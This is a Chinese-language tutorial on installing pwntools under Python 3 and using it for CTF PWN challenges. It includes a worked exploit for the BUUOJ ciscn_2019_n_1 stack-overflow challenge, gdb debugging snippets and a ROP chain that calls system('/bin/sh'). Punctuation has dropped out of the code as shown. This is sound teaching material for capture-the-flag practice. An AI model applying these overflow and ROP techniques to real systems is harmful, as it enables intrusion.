Python3环境下pwntools从安装到实战:手把手教你搞定CTF PWN题

张开发
2026/4/18 17:15:58 15 分钟阅读

分享文章

Python3环境下pwntools从安装到实战:手把手教你搞定CTF PWN题
Python3环境下pwntools从安装到实战手把手教你搞定CTF PWN题在CTF竞赛中PWN题型一直是考察选手底层技术实力的重要战场。而pwntools作为专为CTF设计的Python库已经成为PWN选手的标配工具。本文将带你从零开始全面掌握Python3环境下pwntools的使用技巧并通过实战案例演示如何解决一道真实的CTF PWN题目。1. 环境准备与安装在开始之前我们需要确保系统环境已经准备就绪。与Python2时代不同现代pwntools已经完全转向Python3支持这带来了更好的性能和更现代的语法特性。1.1 系统依赖安装首先更新系统并安装必要的开发工具sudo apt-get update sudo apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential这些基础包将提供Python3开发环境和必要的编译工具链。特别需要注意的是libssl-dev和libffi-dev它们是pwntools某些加密功能的基础依赖。1.2 pwntools安装与验证使用pip3安装最新版pwntoolspython3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools安装完成后可以通过以下命令验证是否安装成功python3 -c import pwn; print(pwn.version)如果看到类似4.10.0的版本号输出说明安装成功。遇到安装问题时常见解决方案包括检查Python3版本建议3.6确保pip版本是最新的尝试使用--user参数进行用户级安装提示在某些Linux发行版上可能需要先安装python3-venv包才能正常使用pip安装。2. pwntools核心功能解析pwntools的强大之处在于它提供了一整套针对二进制漏洞开发的工具链。让我们深入几个最常用的功能模块。2.1 进程交互基础与本地进程交互是PWN题的基础操作。pwntools提供了简洁的APIfrom pwn import * # 启动本地进程 io process(/path/to/binary) # 发送数据 io.send(bHello\n) # 接收直到遇到换行 response io.recvline() print(response) # 交互模式 io.interactive()这里有几个关键点需要注意Python3中字符串默认是unicode而二进制程序需要bytes类型所以所有字符串前都要加b前缀recvline()会读取直到遇到\n字符interactive()进入交互模式可以直接手动输入命令2.2 网络通信实战远程CTF题目通常需要连接服务器进行攻击from pwn import * # 连接远程服务器 io remote(ctf.example.com, 9999) # 接收欢迎信息 welcome io.recvuntil(b ) print(welcome.decode()) # 发送payload payload bA*100 io.sendline(payload) # 获取flag flag io.recvall() print(fFlag: {flag.decode()})网络通信中常用的接收方法对比方法描述适用场景recv(n)接收n字节已知固定长度响应recvline()接收一行命令行交互recvuntil(delim)接收直到分隔符协议解析recvregex(pattern)接收匹配正则复杂响应解析2.3 数据打包与解包处理二进制数据是PWN题的核心技能之一from pwn import * # 32位小端打包 packed p32(0xdeadbeef) print(packed) # b\xef\xbe\xad\xde # 64位大端解包 unpacked u64(b\x00\x00\x00\x00\x01\x02\x03\x04, endianbig) print(hex(unpacked)) # 0x1020304 # 浮点数处理 float_bytes struct.pack(f, 11.28125) print(float_bytes.hex()) # 00413480pwntools的打包函数会根据context设置自动选择字节序和字长context.arch amd64 # 设置64位环境 context.endian little # 小端序3. 实战BUUOJ ciscn_2019_n_1让我们通过一道真实CTF题目来综合运用所学知识。题目来自BUUOJ平台名为ciscn_2019_n_1。3.1 题目分析首先下载题目提供的二进制文件进行初步检查file ciscn_2019_n_1 checksec --fileciscn_2019_n_1通过逆向分析使用IDA或Ghidra我们发现关键逻辑程序定义了两个变量v1(44字节数组)和v2(float类型)v2初始值为0.0如果v2 11.28125程序会打印flag使用gets()读取v1存在明显的栈溢出漏洞3.2 漏洞利用开发利用思路很明确通过溢出v1覆盖v2的值为11.28125。具体步骤计算偏移v1到v2的距离是44字节将11.28125转换为IEEE 754浮点表示0x41348000构造payload44字节填充 浮点表示完整exp脚本from pwn import * import struct # 启动进程/连接远程 # io process(./ciscn_2019_n_1) io remote(node4.buuoj.cn, 27075) # 构造payload payload bA*44 # 填充v1 payload struct.pack(f, 11.28125) # 覆盖v2 # 发送并获取flag io.sendline(payload) io.interactive()3.3 调试技巧在开发exp过程中调试至关重要。pwntools与gdb的集成非常方便from pwn import * io process(./ciscn_2019_n_1) gdb.attach(io, break *0x4006B8 continue ) payload bA*44 p32(0x41348000) io.sendline(payload) io.interactive()这段代码会在关键地址下断点并自动打开gdb调试界面。你可以使用gdb命令检查栈状态和寄存器值x/20wx $rsp info registers4. 高级技巧与最佳实践掌握了基础知识后让我们看看一些提升效率的高级技巧。4.1 context全局配置pwntools的context对象可以统一管理各种设置context.arch amd64 # 架构 context.os linux # 操作系统 context.endian little # 字节序 context.log_level debug # 日志级别 # 一次性设置多个 context.update(archi386, oslinux, endianbig)合理设置context可以让后续的打包/解包操作更加简洁。4.2 ELF文件操作pwntools提供了强大的ELF文件分析功能elf ELF(./ciscn_2019_n_1) print(hex(elf.symbols[main])) # 获取函数地址 print(hex(elf.got[puts])) # 获取GOT表地址 print(hex(elf.plt[system])) # 获取PLT表地址 # 查找字符串 str_addr next(elf.search(b/bin/sh))4.3 ROP链构建对于更复杂的题目可能需要构造ROP链from pwn import * elf ELF(./vuln) rop ROP(elf) # 构建ROP链 rop.raw(bA*offset) rop.call(system, [next(elf.search(b/bin/sh))]) rop.exit() # 生成payload payload rop.chain()4.4 实用小技巧日志记录设置context.log_filepwn.log将所有输出保存到文件超时控制io remote(..., timeout5)设置操作超时循环接收io.recvrepeat(1)持续接收1秒内所有数据字节转换flat()函数可以智能处理多种数据类型payload flat({ 0: bHello, 10: 0xdeadbeef, 20: [1, 2, 3] }, length100)

更多文章